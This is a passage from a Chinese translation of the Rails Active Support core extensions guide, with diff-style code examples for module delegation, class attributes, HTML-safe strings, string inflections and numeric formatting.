如果把具名模块存储在相应的常量中,模块是可达的,意即可以通过常量访问模块对象。

通常,模块都是如此。如果有名为“M”的模块,M 常量就存在,指代那个模块:

+
+module M
+end
+
+M.reachable? # => true
+
+
+
+

但是,常量和模块其实是解耦的,因此模块对象也许不可达:

+
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# 现在模块对象是孤儿,但它仍有名称
+orphan.name # => "M"
+
+# 不能通过常量 M 访问,因为这个常量不存在
+orphan.reachable? # => false
+
+# 再定义一个名为“M”的模块
+module M
+end
+
+# 现在常量 M 存在了,而且存储名为“M”的常量对象
+# 但这是一个新实例
+orphan.reachable? # => false
+
+
+
+

active_support/core_ext/module/reachable.rb 文件中定义。

3.4 匿名

模块可能有也可能没有名称:

+
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+
+
+
+

可以使用 anonymous? 方法判断模块有没有名称:

+
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+
+
+
+

注意,不可达不意味着就是匿名的:

+
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+
+
+
+

但是按照定义,匿名模块是不可达的。

active_support/core_ext/module/anonymous.rb 文件中定义。

3.5 方法委托

delegate 方法提供一种便利的方法转发方式。

假设在一个应用中,用户的登录信息存储在 User 模型中,而名字和其他数据存储在 Profile 模型中:

+
+class User < ApplicationRecord
+  has_one :profile
+end
+
+
+
+

此时,要通过个人资料获取用户的名字,即 user.profile.name。不过,若能直接访问这些信息更为便利:

+
+class User < ApplicationRecord
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+
+
+
+

delegate 方法正是为这种需求而生的:

+
+class User < ApplicationRecord
+  has_one :profile
+
+  delegate :name, to: :profile
+end
+
+
+
+

这样写出的代码更简洁,而且意图更明显。

委托的方法在目标中必须是公开的。

delegate 方法可接受多个参数,委托多个方法:

+
+delegate :name, :age, :address, :twitter, to: :profile
+
+
+
+

内插到字符串中时,:to 选项的值应该能求值为方法委托的对象。通常,使用字符串或符号。这个选项的值在接收者的上下文中求值:

+
+# 委托给 Rails 常量
+delegate :logger, to: :Rails
+
+# 委托给接收者所属的类
+delegate :table_name, to: :class
+
+
+
+

如果 :prefix 选项的值为 true,不能这么做。参见下文。

默认情况下,如果委托导致 NoMethodError 抛出,而且目标是 nil,这个异常会向上冒泡。可以指定 :allow_nil 选项,遇到这种情况时返回 nil

+
+delegate :name, to: :profile, allow_nil: true
+
+
+
+

设定 :allow_nil 选项后,如果用户没有个人资料,user.name 返回 nil

:prefix 选项在生成的方法前面添加一个前缀。如果想起个更好的名称,就可以使用这个选项:

+
+delegate :street, to: :address, prefix: true
+
+
+
+

上述示例生成的方法是 address_street,而不是 street

此时,生成的方法名由目标对象和目标方法的名称构成,因此 :to 选项必须是一个方法名。

此外,还可以自定义前缀:

+
+delegate :size, to: :attachment, prefix: :avatar
+
+
+
+

在这个示例中,生成的方法是 avatar_size,而不是 size

active_support/core_ext/module/delegation.rb 文件中定义。

3.6 重新定义方法

有时需要使用 define_method 定义方法,但却不知道那个方法名是否已经存在。如果存在,而且启用了警告消息,会发出警告。这没什么,但却不够利落。

redefine_method 方法能避免这种警告,如果需要,会把现有的方法删除。

active_support/core_ext/module/remove_method.rb 文件中定义。

4 Class 的扩展

4.1 类属性

4.1.1 class_attribute +

class_attribute 方法声明一个或多个可继承的类属性,它们可以在继承树的任一层级覆盖。

+
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+
+
+
+

例如,ActionMailer::Base 定义了:

+
+class_attribute :default_params
+self.default_params = {
+  mime_version: "1.0",
+  charset: "UTF-8",
+  content_type: "text/plain",
+  parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+
+
+
+

类属性还可以通过实例访问和覆盖:

+
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+
+
+
+

:instance_writer 选项设为 false,不生成设值实例方法:

+
+module ActiveRecord
+  class Base
+    class_attribute :table_name_prefix, instance_writer: false
+    self.table_name_prefix = ""
+  end
+end
+
+
+
+

模型可以使用这个选项,禁止批量赋值属性。

:instance_reader 选项设为 false,不生成读值实例方法:

+
+class A
+  class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1
+A.new.x # NoMethodError
+
+
+
+

为了方便,class_attribute 还会定义实例判断方法,对实例读值方法的返回值做双重否定。在上例中,判断方法是 x?

如果 :instance_reader 的值是 false,实例判断方法与读值方法一样,返回 NoMethodError

如果不想要实例判断方法,传入 instance_predicate: false,这样就不会定义了。

active_support/core_ext/class/attribute.rb 文件中定义。

4.1.2 cattr_readercattr_writercattr_accessor +

cattr_readercattr_writercattr_accessor 的作用与相应的 attr_* 方法类似,不过是针对类的。它们声明的类属性,初始值为 nil,除非在此之前类属性已经存在,而且会生成相应的访问方法:

+
+class MysqlAdapter < AbstractAdapter
+  # 生成访问 @@emulate_booleans 的类方法
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+
+
+
+

为了方便,也会生成实例方法,这些实例方法只是类属性的代理。因此,实例可以修改类属性,但是不能覆盖——这与 class_attribute 不同(参见上文)。例如:

+
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+
+
+
+

这样,我们便可以在视图中访问 field_error_proc

此外,可以把一个块传给 cattr_* 方法,设定属性的默认值:

+
+class MysqlAdapter < AbstractAdapter
+  # 生成访问 @@emulate_booleans 的类方法,其默认值为 true
+  cattr_accessor(:emulate_booleans) { true }
+end
+
+
+
+

:instance_reader 设为 false,不生成实例读值方法,把 :instance_writer 设为 false,不生成实例设值方法,把 :instance_accessor 设为 false,实例读值和设置方法都不生成。此时,这三个选项的值都必须是 false,而不能是假值。

+
+module A
+  class B
+    # 不生成实例读值方法 first_name
+    cattr_accessor :first_name, instance_reader: false
+    # 不生成实例设值方法 last_name=
+    cattr_accessor :last_name, instance_writer: false
+    # 不生成实例读值方法 surname 和实例设值方法 surname=
+    cattr_accessor :surname, instance_accessor: false
+  end
+end
+
+
+
+

在模型中可以把 :instance_accessor 设为 false,防止批量赋值属性。

active_support/core_ext/module/attribute_accessors.rb 文件中定义。

4.2 子类和后代

4.2.1 subclasses +

subclasses 方法返回接收者的子类:

+
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+
+
+
+

返回的子类没有特定顺序。

active_support/core_ext/class/subclasses.rb 文件中定义。

4.2.2 descendants +

descendants 方法返回接收者的后代:

+
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+
+
+
+

返回的后代没有特定顺序。

active_support/core_ext/class/subclasses.rb 文件中定义。

5 String 的扩展

5.1 输出的安全性

5.1.1 引子

把数据插入 HTML 模板要格外小心。例如,不能原封不动地把 @review.title 内插到 HTML 页面中。假如标题是“Flanagan & Matz rules!”,得到的输出格式就不对,因为 & 会转义成“&amp;”。更糟的是,如果应用编写不当,这可能留下严重的安全漏洞,因为用户可以注入恶意的 HTML,设定精心编造的标题。关于这个问题的详情,请阅读 跨站脚本(XSS)对跨站脚本的说明。

5.1.2 安全字符串

Active Support 提出了安全字符串(对 HTML 而言)这一概念。安全字符串是对字符串做的一种标记,表示可以原封不动地插入 HTML。这种字符串是可信赖的,不管会不会转义。

默认,字符串被认为是不安全的:

+
+"".html_safe? # => false
+
+
+
+

可以使用 html_safe 方法把指定的字符串标记为安全的:

+
+s = "".html_safe
+s.html_safe? # => true
+
+
+
+

注意,无论如何,html_safe 不会执行转义操作,它的作用只是一种断定:

+
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+
+
+
+

你要自己确定该不该在某个字符串上调用 html_safe

如果把字符串追加到安全字符串上,不管是就地修改,还是使用 concat/<<+,结果都是一个安全字符串。不安全的字符会转义:

+
+"".html_safe + "<" # => "&lt;"
+
+
+
+

安全的字符直接追加:

+
+"".html_safe + "<".html_safe # => "<"
+
+
+
+

在常规的视图中不应该使用这些方法。不安全的值会自动转义:

+
+<%= @review.title %> <%# 可以这么做,如果需要会转义 %>
+
+
+
+

如果想原封不动地插入值,不能调用 html_safe,而要使用 raw 辅助方法:

+
+<%= raw @cms.current_template %> <%# 原封不动地插入 @cms.current_template %>
+
+
+
+

或者,可以使用等效的 <%==

+
+<%== @cms.current_template %> <%# 原封不动地插入 @cms.current_template %>
+
+
+
+

raw 辅助方法已经调用 html_safe 了:

+
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+
+
+
+

active_support/core_ext/string/output_safety.rb 文件中定义。

5.1.3 转换

通常,修改字符串的方法都返回不安全的字符串,前文所述的拼接除外。例如,downcasegsubstripchompunderscore,等等。

就地转换接收者,如 gsub!,其本身也变成不安全的了。

不管是否修改了自身,安全性都丧失了。

5.1.4 类型转换和强制转换

在安全字符串上调用 to_s,得到的还是安全字符串,但是使用 to_str 强制转换,得到的是不安全的字符串。

5.1.5 复制

在安全字符串上调用 dupclone,得到的还是安全字符串。

5.2 remove +

remove 方法删除匹配模式的所有内容:

+
+"Hello World".remove(/Hello /) # => "World"
+
+
+
+

也有破坏性版本,String#remove!

active_support/core_ext/string/filters.rb 文件中定义。

5.3 squish +

squish 方法把首尾的空白去掉,还会把多个空白压缩成一个:

+
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+
+
+
+

也有破坏性版本,String#squish!

注意,既能处理 ASCII 空白,也能处理 Unicode 空白。

active_support/core_ext/string/filters.rb 文件中定义。

5.4 truncate +

truncate 方法在指定长度处截断接收者,返回一个副本:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+
+
+
+

省略号可以使用 :omission 选项自定义:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
+# => "Oh dear! Oh &hellip;"
+
+
+
+

尤其要注意,截断长度包含省略字符串。

设置 :separator 选项,以自然的方式截断:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+
+
+
+

:separator 选项的值可以是一个正则表达式:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+
+
+
+

在上述示例中,本该在“dear”中间截断,但是 :separator 选项进行了阻止。

active_support/core_ext/string/filters.rb 文件中定义。

5.5 truncate_words +

truncate_words 方法在指定个单词处截断接收者,返回一个副本:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4)
+# => "Oh dear! Oh dear!..."
+
+
+
+

省略号可以使用 :omission 选项自定义:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+# => "Oh dear! Oh dear!&hellip;"
+
+
+
+

设置 :separator 选项,以自然的方式截断:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+# => "Oh dear! Oh dear! I shall be late..."
+
+
+
+

:separator 选项的值可以是一个正则表达式:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
+# => "Oh dear! Oh dear!..."
+
+
+
+

active_support/core_ext/string/filters.rb 文件中定义。

5.6 inquiry +

inquiry 方法把字符串转换成 StringInquirer 对象,这样可以使用漂亮的方式检查相等性:

+
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+
+
+
+

5.7 starts_with?ends_with? +

Active Support 为 String#start_with?String#end_with? 定义了第三人称版本:

+
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+
+
+
+

active_support/core_ext/string/starts_ends_with.rb 文件中定义。

5.8 strip_heredoc +

strip_heredoc 方法去掉 here 文档中的缩进。

例如:

+
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+
+
+
+

用户看到的消息会靠左边对齐。

从技术层面来说,这个方法寻找整个字符串中的最小缩进量,然后删除那么多的前导空白。

active_support/core_ext/string/strip.rb 文件中定义。

5.9 indent +

按指定量缩进接收者:

+
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+
+
+
+

第二个参数,indent_string,指定使用什么字符串缩进。默认值是 nil,让这个方法根据第一个缩进行做猜测,如果第一行没有缩进,则使用空白。

+
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+
+
+
+

indent_string 的值虽然经常设为一个空格或一个制表符,但是可以使用任何字符串。

第三个参数,indent_empty_lines,是个旗标,指明是否缩进空行。默认值是 false

+
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+
+
+
+

indent! 方法就地执行缩进。

active_support/core_ext/string/indent.rb 文件中定义。

5.10 访问

5.10.1 at(position) +

返回字符串中 position 位置上的字符:

+
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.2 from(position) +

返回子串,从 position 位置开始:

+
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => nil
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.3 to(position) +

返回子串,到 position 位置为止:

+
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.4 first(limit = 1) +

如果 n > 0,str.first(n) 的作用与 str.to(n-1) 一样;如果 n == 0,返回一个空字符串。

active_support/core_ext/string/access.rb 文件中定义。

5.10.5 last(limit = 1) +

如果 n > 0,str.last(n) 的作用与 str.from(-n) 一样;如果 n == 0,返回一个空字符串。

active_support/core_ext/string/access.rb 文件中定义。

5.11 词形变化

5.11.1 pluralize +

pluralize 方法返回接收者的复数形式:

+
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+
+
+
+

如上例所示,Active Support 知道如何处理不规则的复数形式和不可数名词。内置的规则可以在 config/initializers/inflections.rb 文件中扩展。那个文件是由 rails 命令生成的,里面的注释说明了该怎么做。

pluralize 还可以接受可选的 count 参数。如果 count == 1,返回单数形式。把 count 设为其他值,都会返回复数形式:

+
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+
+
+
+

Active Record 使用这个方法计算模型对应的默认表名:

+
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  pluralize_table_names ? table_name.pluralize : table_name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.2 singularize +

作用与 pluralize 相反:

+
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+
+
+
+

关联使用这个方法计算默认的关联类:

+
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.3 camelize +

camelize 方法把接收者变成驼峰式:

+
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+
+
+
+

一般来说,你可以把这个方法的作用想象为把路径转换成 Ruby 类或模块名的方式(使用斜线分隔命名空间):

+
+"backoffice/session".camelize # => "Backoffice::Session"
+
+
+
+

例如,Action Pack 使用这个方法加载提供特定会话存储功能的类:

+
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  @@session_store = store.is_a?(Symbol) ?
+    ActionDispatch::Session.const_get(store.to_s.camelize) :
+    store
+end
+
+
+
+

camelize 接受一个可选的参数,其值可以是 :upper(默认值)或 :lower。设为后者时,第一个字母是小写的:

+
+"visual_effect".camelize(:lower) # => "visualEffect"
+
+
+
+

为使用这种风格的语言计算方法名时可以这么设定,例如 JavaScript。

一般来说,可以把 camelize 视作 underscore 的逆操作,不过也有例外:"SSLError".underscore.camelize 的结果是 "SslError"。为了支持这种情况,Active Support 允许你在 config/initializers/inflections.rb 文件中指定缩略词。

+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize # => "SSLError"
+
+
+
+

camelcasecamelize 的别名。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.4 underscore +

underscore 方法的作用相反,把驼峰式变成蛇底式:

+
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+
+
+
+

还会把 "::" 转换成 "/"

+
+"Backoffice::Session".underscore # => "backoffice/session"
+
+
+
+

也能理解以小写字母开头的字符串:

+
+"visualEffect".underscore # => "visual_effect"
+
+
+
+

不过,underscore 不接受任何参数。

Rails 自动加载类和模块的机制使用 underscore 推断可能定义缺失的常量的文件的相对路径(不带扩展名):

+
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+
+
+
+

一般来说,可以把 underscore 视作 camelize 的逆操作,不过也有例外。例如,"SSLError".underscore.camelize 的结果是 "SslError"

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.5 titleize +

titleize 方法把接收者中的单词首字母变成大写:

+
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+
+
+
+

titlecasetitleize 的别名。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.6 dasherize +

dasherize 方法把接收者中的下划线替换成连字符:

+
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+
+
+
+

模型的 XML 序列化程序使用这个方法处理节点名:

+
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.7 demodulize +

demodulize 方法返回限定常量名的常量名本身,即最右边那一部分:

+
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize                  # => "Inflections"
+"".demodulize                               # => ""
+
+
+
+

例如,Active Record 使用这个方法计算计数器缓存列的名称:

+
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.8 deconstantize +

deconstantize 方法去掉限定常量引用表达式的最右侧部分,留下常量的容器:

+
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.9 parameterize +

parameterize 方法对接收者做整形,以便在精美的 URL 中使用。

+
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+
+
+
+

如果想保留大小写,把 preserve_case 参数设为 true。这个参数的默认值是 false

+
+"John Smith".parameterize(preserve_case: true) # => "John-Smith"
+"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"
+
+
+
+

如果想使用自定义的分隔符,覆盖 separator 参数。

+
+"John Smith".parameterize(separator: "_") # => "john\_smith"
+"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"
+
+
+
+

其实,得到的字符串包装在 ActiveSupport::Multibyte::Chars 实例中。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.10 tableize +

tableize 方法相当于先调用 underscore,再调用 pluralize

+
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+
+
+
+

一般来说,tableize 返回简单模型对应的表名。Active Record 真正的实现方式不是只使用 tableize,还会使用 demodulize,再检查一些可能影响返回结果的选项。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.11 classify +

classify 方法的作用与 tableize 相反,返回表名对应的类名:

+
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+
+
+
+

这个方法能处理限定的表名:

+
+"highrise_production.companies".classify # => "Company"
+
+
+
+

注意,classify 方法返回的类名是字符串。你可以调用 constantize 方法,得到真正的类对象,如下一节所述。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.12 constantize +

constantize 方法解析接收者中的常量引用表达式:

+
+"Integer".constantize # => Integer
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+
+
+
+

如果结果是未知的常量,或者根本不是有效的常量名,constantize 抛出 NameError 异常。

即便开头没有 ::constantize 也始终从顶层的 Object 解析常量名。

+
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+
+
+
+

因此,通常这与 Ruby 的处理方式不同,Ruby 会求值真正的常量。

邮件程序测试用例使用 constantize 方法从测试用例的名称中获取要测试的邮件程序:

+
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.13 humanize +

humanize 方法对属性名做调整,以便显示给终端用户查看。

这个方法所做的转换如下:

+
    +
  • 根据参数做对人类友好的词形变化
  • +
  • 删除前导下划线(如果有)
  • +
  • 删除“_id”后缀(如果有)
  • +
  • 把下划线替换成空格(如果有)
  • +
  • 把所有单词变成小写,缩略词除外
  • +
  • 把第一个单词的首字母变成大写
  • +
+

:capitalize 选项设为 false(默认值为 true)可以禁止把第一个单词的首字母变成大写。

+
+"name".humanize                         # => "Name"
+"author_id".humanize                    # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize               # => "Comments count"
+"_id".humanize                          # => "Id"
+
+
+
+

如果把“SSL”定义为缩略词:

+
+'ssl_error'.humanize # => "SSL error"
+
+
+
+

full_messages 辅助方法使用 humanize 作为一种后备机制,以便包含属性名:

+
+def full_messages
+  map { |attribute, message| full_message(attribute, message) }
+end
+
+def full_message
+  ...
+  attr_name = attribute.to_s.tr('.', '_').humanize
+  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+  ...
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.14 foreign_key +

foreign_key 方法根据类名计算外键列的名称。为此,它先调用 demodulize,再调用 underscore,最后加上“_id”:

+
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+
+
+
+

如果不想添加“_id”中的下划线,传入 false 参数:

+
+"User".foreign_key(false) # => "userid"
+
+
+
+

关联使用这个方法推断外键,例如 has_onehas_many 是这么做的:

+
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.12 转换

5.12.1 to_dateto_timeto_datetime +

to_dateto_timeto_datetime 是对 Date._parse 的便利包装:

+
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+
+
+
+

to_time 有个可选的参数,值为 :utc:local,指明想使用的时区:

+
+"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
+"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
+
+
+
+

默认值是 :utc

详情参见 Date._parse 的文档。

参数为空时,这三个方法返回 nil

active_support/core_ext/string/conversions.rb 文件中定义。

6 Numeric 的扩展

6.1 字节

所有数字都能响应下述方法:

+
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+
+
+
+

这些方法返回相应的字节数,因子是 1024:

+
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+
+
+
+

这些方法都有单数别名,因此可以这样用:

+
+1.megabyte # => 1048576
+
+
+
+

active_support/core_ext/numeric/bytes.rb 文件中定义。

6.2 时间

用于计算和声明时间,例如 45.minutes + 2.hours + 4.years

使用 from_nowago 等精确计算日期,以及增减 Time 对象时使用 Time#advance。例如:

+
+# 等价于 Time.current.advance(months: 1)
+1.month.from_now
+
+# 等价于 Time.current.advance(years: 2)
+2.years.from_now
+
+# 等价于 Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+
+
+
+

active_support/core_ext/numeric/time.rb 文件中定义。

6.3 格式化

以各种形式格式化数字。

把数字转换成字符串表示形式,表示电话号码:

+
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+
+
+
+

把数字转换成字符串表示形式,表示货币:

+
+1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+
+
+
+

把数字转换成字符串表示形式,表示百分比:

+
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+
+
+
+

把数字转换成字符串表示形式,以分隔符分隔:

+
+12345678.to_s(:delimited)                     # => 12,345,678
+12345678.05.to_s(:delimited)                  # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+
+
+
+

把数字转换成字符串表示形式,以指定精度四舍五入:

+
+111.2345.to_s(:rounded)                     # => 111.235
+111.2345.to_s(:rounded, precision: 2)       # => 111.23
+13.to_s(:rounded, precision: 5)             # => 13.00000
+389.32314.to_s(:rounded, precision: 0)      # => 389
+111.2345.to_s(:rounded, significant: true)  # => 111
+
+
+
+

把数字转换成字符串表示形式,得到人类可读的字节数:

+
+123.to_s(:human_size)                  # => 123 Bytes
+1234.to_s(:human_size)                 # => 1.21 KB
+12345.to_s(:human_size)                # => 12.1 KB
+1234567.to_s(:human_size)              # => 1.18 MB
+1234567890.to_s(:human_size)           # => 1.15 GB
+1234567890123.to_s(:human_size)        # => 1.12 TB
+1234567890123456.to_s(:human_size)     # => 1.1 PB
+1234567890123456789.to_s(:human_size)  # => 1.07 EB
+
+
+
+

把数字转换成字符串表示形式,得到人类可读的词:

+
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+
+
+
+

active_support/core_ext/numeric/conversions.rb 文件中定义。

7 Integer 的扩展

7.1 multiple_of? +

multiple_of? 方法测试一个整数是不是参数的倍数:

+
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+
+
+
+

active_support/core_ext/integer/multiple.rb 文件中定义。

7.2 ordinal +

ordinal 方法返回整数接收者的序数词后缀(字符串):

+
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+
+
+
+

active_support/core_ext/integer/inflections.rb 文件中定义。

7.3 ordinalize +

ordinalize 方法返回整数接收者的序数词(字符串)。注意,ordinal 方法只返回后缀。

+
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+
+
+
+

active_support/core_ext/integer/inflections.rb 文件中定义。

8 BigDecimal 的扩展

8.1 to_s +

to_s 方法把默认的说明符设为“F”。这意味着,不传入参数时,to_s 返回浮点数表示形式,而不是工程计数法。

+
+BigDecimal.new(5.00, 6).to_s  # => "5.0"
+
+
+
+

说明符也可以使用符号:

+
+BigDecimal.new(5.00, 6).to_s(:db)  # => "5.0"
+
+
+
+

也支持工程计数法:

+
+BigDecimal.new(5.00, 6).to_s("e")  # => "0.5E1"
+
+
+
+

9 Enumerable 的扩展

9.1 sum +

sum 方法计算可枚举对象的元素之和:

+
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+
+
+
+

只假定元素能响应 +

+
